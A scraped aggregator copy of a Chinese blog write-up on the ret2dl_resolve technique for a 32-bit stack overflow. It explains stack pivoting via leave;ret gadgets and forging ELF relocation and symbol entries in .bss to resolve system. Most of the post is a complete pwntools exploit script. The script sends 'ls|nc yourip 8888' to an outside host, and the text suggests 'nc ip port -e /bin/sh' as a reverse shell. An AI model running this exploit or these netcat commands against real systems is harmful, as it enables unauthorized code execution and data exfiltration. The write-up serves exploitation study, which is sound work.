1

ret2dl_resolve exp

 1 year ago
source link: https://delcoding.github.io/2019/01/ret2dl_resolve_x86/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
3 年前 6 分钟 读完 (大约 949 个字)

ret2dl_resolve exp

  在上篇文章中说过dl_runtime_resolve延迟绑定的技术原理,这篇记录ret2dl_resolve的攻击方法。

  代码很简单:

int main()
{
read_msg();
return 0;
}
int read_msg()
{
char buf; // [esp+0h] [ebp-28h]

return read(0, &buf, 64);
}

  还是一个stack overflow,但是没有libc、没有write等打印函数,所以也泄露不了信息。再加上这只能输入64个字节。考虑用ret2dl_resolve

ret2dl_resolve

  根据上一篇文章,大概的攻击思路如下:

  • 1、在一段可控的地址内伪造好Elf32_RelElf32_Sym、需要调用的函数名称(如system)、函数的参数(如nc ip port -e /bin/sh)
  • 2、计算好那段地址跟dynsym的距离,并放入栈顶
  • 3、调用plt[0],这里会push link_map; jmp _dl_runtime_resolve

  这里先贴内存的布局,方便exp的理解:

  其中的system_offsetElf32_Rel.r_infoElf32_Sym.st_name就是需要我们计算的值,其余的A,B,C都是填充用的,为了对齐或好看。同时我们可以使用bss段来布局,但要注意选择在bss + 0x300以上的地址,具体原因不明。。。经过死调调不出来得出。。。

栈迁移控eip

  布局好后,接下来考虑的就是如何控制eip指向plt[0],实现system调用。

  这里用到了栈迁移,首先看看漏洞位置:

  注意到有leave; ret,并且用ROPgadget还可以找到另一个leave;ret gadget。那么前面一个leave; ret就可以控制ebp,后面一个控esp,eip
leave  == mov esp,ebp;  pop ebp;
ret == pop eip

  我们布好需要切过去的地址,在第一次pop ebp时就能将栈切过去,然后第二次leave时将mov esp, ebp,控制esp的值,从而在ret的时候因为前面popesp要+4,也就是我们构造好如'A' * 4 + p32(需要控去的地址),就能劫持eip

  第一次leave; ret,控了ebp


  第二次leave; ret,控了esp,从而控住eip


  以上就是通过栈迁移劫持eip的过程。

  有了上面的准备后,写出exp如下:

# -*- coding:utf-8 -*-
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

# p = remote('127.0.0.1', 10000)
p = process('./babystack')
pelf = ELF('./babystack')

read_plt = pelf.plt["read"]
read_got = pelf.got["read"]
bss_addr = pelf.bss()
bss_stage = bss_addr + 0x800 # 大于 0x300
print "addr_bss: " , hex(bss_stage)

main_addr = 0x08048457
read_msg = 0x0804843B
leave_ret = 0x080483a8
pop_pop_pop_ret = 0x080484e9
pop_ebp_ret = 0x080484eb

payload = 'a' * 40 + p32(bss_stage) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_stage) + p32(0x100)
print "len(payload): ", hex(len(payload))
# p.send(payload) # 这里不到 0x100 个,再凑一些再发

pause()
dynsym = 0x080481cc # (SYMTAB) 0x80481cc
jmprel = 0x080482b0 # (JMPREL) 0x80482b0
dynstr = 0x0804822c # (STRTAB) 0x804822c
plt_0_addr = 0x080482F0


fake_system_rel = bss_stage + 0x20 # len(go_to_plt_0) == 0x10
fake_system_sym = fake_system_rel + 8 + 4 # Elf32_Rel 占8个字节, 加8填充
sys_str_addr = fake_system_sym + 16 # Elf32_Sym 占16个字节, len("system\x00") = 7
system_offset = fake_system_rel - jmprel
cmd = "system\x00"
args_addr = sys_str_addr + len(cmd)
go_to_plt_0 = "BBBB" + p32(plt_0_addr) + p32(system_offset) + "BBBB" + p32(args_addr) + "B" * 12

def fake_Elf32_Rel():
r_offset = p32(read_got)
r_info = ((fake_system_sym - dynsym) / 0x10) << 8
r_info = r_info | 0x7
return r_offset + p32(r_info) + 'C' * 4


def fake_Elf32_Sym():
st_name = sys_str_addr - dynstr
return p32(st_name) + p32(0x0) + p32(0x0) + p32(0x12)


faker = go_to_plt_0 + fake_Elf32_Rel() + fake_Elf32_Sym() + cmd + "ls|nc yourip 8888\x00"
together = (payload + faker).ljust(0x100, '\x00')
print "len(together): ", hex(len(together))
p.send(together)

p.interactive()

  另一种使用roputils学习了再写。。。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK